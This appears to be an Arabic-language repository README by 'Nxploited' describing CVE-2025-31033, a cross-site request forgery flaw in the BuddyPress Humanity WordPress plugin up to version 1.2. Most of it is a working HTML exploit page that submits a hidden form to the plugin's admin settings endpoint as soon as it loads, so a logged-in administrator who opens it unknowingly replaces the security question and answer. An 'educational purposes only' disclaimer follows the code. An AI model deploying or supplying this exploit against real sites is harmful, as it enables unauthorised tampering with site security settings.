nxploited/cve-2025-31033إضافة BuddyPress Humanity لـ WordPress <= 1.2 معرضة لثغرة تزوير الطلبات عبر المواقع (CSRF)
إضافة Buddypress Humanity لووردبريس (الإصدار <= 1.2) معرّضة لثغرة تزوير الطلبات عبر المواقع (CSRF).
تسمح هذه الثغرة للمهاجم بإجبار مستخدم بصلاحيات أعلى (مثل المدير) على تعديل إعدادات الإضافة دون علمه (مثل سؤال وجواب الأمان)، متجاوزًا بذلك منطق التحقق من المستخدم.
bph-settings (للمدير فقط)CVE-2025-31033عند استغلال هذه الثغرة بنجاح، يمكن للمهاجمين:
buddypress-humanity<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Exploit – CVE-2025-31033</title>
</head>
<body onload="document.forms[0].submit();">
<form action="http://target.com/wp-admin/admin.php?page=bph-settings" method="POST">
<input type="hidden" name="bph_option[bph_title]" value="Nxploited">
<input type="hidden" name="bph_option[bph_question]" value="I’m Nxploited | Khaled Alenazi">
<input type="hidden" name="bph_option[bph_answers]" value="Nxploit">
<input type="hidden" name="bph_submit" value="1">
</form>
</body>
</html>
☠️ بمجرد فتح هذه الصفحة بواسطة مدير مُصادق، تقوم بتعديل إعدادات الإضافة بصمت.
إثبات المفهوم هذا لأغراض تعليمية فقط.
استخدمه بمسؤولية ولا تختبره على أنظمة لا تملكها.
المؤلف غير مسؤول عن أي إساءة استخدام أو أضرار ناتجة.
Nxploited | Khaled Alenazi